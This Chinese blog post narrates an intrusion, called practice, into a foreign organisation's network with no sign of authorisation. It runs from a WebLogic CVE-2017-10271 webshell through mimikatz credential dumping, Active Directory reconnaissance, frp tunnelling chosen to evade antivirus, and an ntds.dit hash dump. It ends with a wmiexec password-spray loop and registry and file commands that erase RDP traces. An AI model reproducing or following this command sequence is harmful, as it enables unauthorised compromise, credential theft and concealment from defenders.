实战 | 对某外国网站的一次内网渗透练手

0X01 目标

主站:

代码语言:javascript
复制
https://www.xxx.com/en/

0X02 外围打点

通过子域名,找到分站:

代码语言:javascript
复制
https://www.xxx.com/

C段里面有一个安装Weblogic的服务器,CVE-2017-10271。

上传webshell。

代码语言:javascript
复制
http://xxx:xxxx//wls-wsat/xxx.jsp

0X03 内网渗透

主机信息收集

查看当前权限。

代码语言:javascript
复制
whoami

查看机器网卡情况。

代码语言:javascript
复制
ipconfig /all
  1. 存在域:xxx.local。
  2. 当前内网ip段:10.100.20.0/24.

查看当前机器是否出网。

代码语言:javascript
复制
ping www.google.com

查看当前主机是否存在杀软,也是个老牌杀软ESET NOD32,国外经常用这个,这次不用CS和MSF打。

查看当前机器安装的软件。

代码语言:javascript
复制
wmic product get name,version

不知道为什么没有回显,写入文件也没有。

查看当前机器的详细信息。

代码语言:javascript
复制
systeminfo

171个补丁。。。。。。

抓取密码,使用Prodump+mimikatz导出lsass.exe存储的密码,获得账号密码,看样子有大哥来过,修改过注册表,不然windows server 2021抓不到明文密码,我们再搞一遍。

代码语言:javascript
复制
PRINCHEALTH\psvadmin:xxxxx
PSVHR-APPPROD\oracle:xxxx

查看是否在域内。

代码语言:javascript
复制
net time /domain

域用户+域机器,舒服。

查看当前机器与其它机器建立的ipc连接。

代码语言:javascript
复制
net use

0X04 域信息收集

查看当前域管理员组,发现psvadmin为域管理员。

代码语言:javascript
复制
net group "Domain admins" /domain

查询信任域。

代码语言:javascript
复制
nltest /domain_trusts
  1. pxxxxxxx.local为主域。
  2. pxx.local为子域。

定位域控机器。

代码语言:javascript
复制
nltest /dclist:domainname

其中HWC-ADSRV-P01为主域控机器,但没有找到子域的域控。

查询主域控机器的ip地址。

代码语言:javascript
复制
ping HWC-ADSRV-P01

通过spn查询域pxxxxxxx.local结构。

代码语言:javascript
复制
setspn -T pxxxxxxx.local -Q */* >spn.txt

并统计域内主机数量,好家伙,3167台。

代码语言:javascript
复制
grep "CN=" spn.txt | awk -F "," {'print $1'} | awk -F "=" {'print $2'} > host.txt

spn看起来太麻烦了,所以使用ADExplorer连接域控机器并导出域结构,ADExplorerSnapshot.py转换json格式,并将其导入Bloodhound,进行可视化分析,3113台机器,4897个用户。

Bloodhound

当前用户是psvadmin,我们的目标是域控机器的最高权限,再Bloodhound中填入开始节点为psvadmin用户和目标节点为域控机器名,它会为我们规划出一条攻击路径。

攻击路径

我们可以看到psvadmin用户是域管理员组的一名成员,比较简单,所以直接可以登录域控机器。

隧道搭建

Neo-reGeorg、Venom都被杀,frp不杀,很奇怪,出网使用frp反向代理搭建隧道。

frpc

frps

SocksCap

域渗透

当前为C类ip段,Ladon扫描内网存活主机。

Ladon

隧道已经搭建好了,拥有域管理员psvadmin明文账号密码,直接远程登录主域控机器。

mstsc

接下来就是使用NTDSUTIL拍摄ntds.dit的快照,使用NTDSDumpEx导出该域用户的全部hash即可。 最后使用wmiexec进行密码喷洒即可。

代码语言:javascript
复制
FOR /F %i in (ip.txt) do wmiexec Pxxxxxxx/psvadmin:xxxxxxx@%i whoami

密码喷洒

到这里这个域基本被打穿。

0X05 权限维持

由于只是练习,就不作域权限维持了,可以制作黄金票据。

0X06 痕迹清理

远程登录了主域控机器:172.21.2.2。 清理3389日志。

代码语言:javascript
复制
//删除注册表
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"//删除缓存文件cd %userprofile%\documents\
attrib Default.rdp -s -h
del Default.rdp

清除recent。

代码语言:javascript
复制
del /f /s /q “%userprofile%\Recent*.*

最后清除在边界机器里上传的工具与脚本并清除日志。

0X07 总结

  1. 做好前期的信息收集,信息收集越好,打点也就越容易。
  2. 内网渗透不要依赖于Cobalt strike和MSF这种框架工具,多手动操作一下,可以对加深对原理的理解,掌握原理才能做到游刃有余。
  3. 多学习各种渗透姿势,不要只局限于一种渗透方式,毕竟内网的主机漏洞越来越少,即使有,成功率也不高。
  4. 不要做任何破坏性动作,注意最后的痕迹清理工作。

点赞,转发,在看

作者:Wangfly

作者博客:https://www.hui-blog.cool/posts/9ef8.html

如有侵权,请联系删除